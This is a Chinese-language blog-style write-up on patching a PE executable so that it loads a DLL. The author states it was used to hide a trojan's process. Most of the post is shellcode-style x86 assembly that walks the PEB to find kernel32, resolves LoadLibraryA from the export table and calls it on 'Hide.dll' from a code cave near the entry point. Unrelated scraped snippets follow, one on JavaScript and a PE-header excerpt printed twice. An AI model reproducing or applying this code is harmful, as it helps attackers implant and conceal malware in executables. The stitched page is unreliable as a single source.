擴充pe檔案功能的方法大概有以下幾種:
1 直接在pe中新增** ;這個實現起來比較難,要像病毒一樣實現感染和自定位,而且新增的**比較少, 因為都需要用彙編實現,編寫複雜功能**本身就是很累的事;
2 新增dll,擴充功能的**在dll中實現。這樣做有很多優點。原來的exe檔案只需呼叫loadlibrary()函式載入dll就可以;
3 其他的還有補丁,外掛程式之類的,因為接觸少,所以不敢介紹;
今天我用載入dll的方法實現了對乙個木馬的程序隱藏。程序隱藏的**我封裝到了dll中,使用pjf介紹
的改寫活動程序鍊錶方法,使自身程序脫鏈實現隱藏。**這裡不公開;
著重要說的是怎麼修改pe檔案。思路就是新增**進去使它呼叫loadlibrary()函式載入我的dll。首先想到是修改iat表,但這樣不夠靈活,因為iat表是在程序建立時是系統動態新增的。所以考慮找到loadlibrary()在 程序空間的位址,然後直接call函式位址實現;
首先要找到kernel32.dll的載入基位址,這個很簡單了,看下面的**。病毒,shellcode裡大多這樣實現,通過peb獲得kernel32.dll基位址
mov eax,fs:30h
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov ebp,[eax+8]
後面要做的是查詢loadlibrary()位址
mov eax,[ebp+3ch]
mov edx,[ebp+eax+78h]
add edx,ebp
mov ecx,[edx+18h]
mov ebx,[edx+20h]
add ebx,ebp ;addressofnames
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,0x64616f4c
cmp [esi],eax
jne search
mov eax,0x7262694c
cmp [esi+4],eax
jne search
mov eax,0x41797261
cmp [esi+8],eax
jne search
mov ebx,[edx+24h] ;addressofnameordinals,根據序號計算位址
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edx+1ch]
add ebx,ebp
mov eax,[ebx+ecx*4]
add eax,ebp
這裡有一點要注意,loadlibrary()實際上有ansi和unicode兩個版本,而我們要找得到的是ansi的loadlibrarya()函式位址,所以函式名比較部分總共比較了3次,12個字元。
ok,現在loadlibrarya()函式位址已經儲存在eax中,呼叫方法如下:
xor ecx,ecx
push 0x6c6c642e
push 0x65646948 ;dll檔名進棧,注意位元組順序
push esp
call eax
add esp,0ch ;平衡堆疊 昨天晚上居然寫成了add esp,12h 這樣的低階錯誤害我調式n久才發現!
這樣基本上能實現dll的載入。另外還有幾個小細節:
1 修改位置。 我選擇了在oep附近進行修改,使用jmp跳轉到**節的空隙處。
2 **開始要加上pushad 和 pushfd ,末尾要加上 popfd 和 popsd 。這個自然是保護暫存器環境。
3 程式跳轉時的指令對齊。這個基本上沒有困擾我,以前改特徵碼時積累了些方法。
另外這樣的方法也有侷限性,當**節剩餘空間不足時要先擴充節空間或建新節。
暫時就這些,全當一次pe diy的筆記。
JS擴充型別的功能
通過給funtion.prototype增加方法來使得該方法對所有函式可用 function.prototype.method function name,func return this 給number物件增加乙個取整方法 number.method integer function docume...
PE檔案詳解之PE檔案頭
1,pe檔案頭 pe header 緊挨著 dos stub 2,pe header 是pe相關結構nt映像頭 image nt header 的簡稱。裡面包含著許多pe裝載器用到的重要字段。3,執行體在支援pe檔案結構的作業系統中執行時,pe裝載器將從 image dos header 結構中的 ...
PE檔案詳解之PE檔案頭
1,pe檔案頭 pe header 緊挨著 dos stub 2,pe header 是pe相關結構nt映像頭 image nt header 的簡稱。裡面包含著許多pe裝載器用到的重要字段。3,執行體在支援pe檔案結構的作業系統中執行時,pe裝載器將從 image dos header 結構中的 ...